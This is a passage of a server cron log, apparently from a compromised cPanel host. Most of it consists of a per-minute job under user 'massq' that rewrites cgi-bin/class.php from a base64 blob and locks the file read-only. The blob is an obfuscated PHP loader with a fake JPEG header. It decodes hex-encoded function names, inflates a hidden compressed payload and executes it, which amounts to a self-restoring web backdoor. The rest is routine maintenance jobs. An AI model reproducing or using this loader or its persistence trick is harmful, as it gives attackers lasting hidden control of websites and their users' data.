UBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:13:01 server CROND[8983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:13:01 server CROND[8984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:13:01 server CROND[8985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:14:01 server CROND[9366]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:14:01 server CROND[9367]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:14:01 server CROND[9368]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:15:01 server CROND[9907]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:15:01 server CROND[9908]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:15:01 server CROND[9910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:15:01 server CROND[9912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:15:01 server CROND[9919]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 13:15:01 server CROND[9918]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:15:01 server CROND[9917]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:15:01 server CROND[9920]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:16:01 server CROND[10767]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:16:01 server CROND[10768]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:16:01 server CROND[10769]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:17:01 server CROND[11144]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:17:01 server CROND[11146]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:17:01 server CROND[11147]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:18:01 server CROND[11568]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:18:01 server CROND[11569]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:18:01 server CROND[11570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:19:01 server CROND[11957]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:19:01 server CROND[11960]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:19:01 server CROND[11961]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:20:01 server CROND[12476]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:20:01 server CROND[12478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:20:01 server CROND[12479]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 13:20:01 server CROND[12482]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:20:01 server CROND[12485]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 13:20:01 server CROND[12483]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 13:20:01 server CROND[12486]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 13:20:01 server CROND[12487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:20:01 server CROND[12484]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:21:01 server CROND[13401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:21:01 server CROND[13402]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:21:01 server CROND[13403]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:22:01 server CROND[13789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:22:01 server CROND[13790]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:22:01 server CROND[13791]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:23:01 server CROND[14247]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:23:01 server CROND[14248]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:23:01 server CROND[14249]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:24:01 server CROND[14626]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 13:24:01 server CROND[14628]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 13:24:01 server CROND[14627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 13:25:01 server CROND[15110]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 13:25:01 server CROND[15112]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 13:25:01 server CROND[15113]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
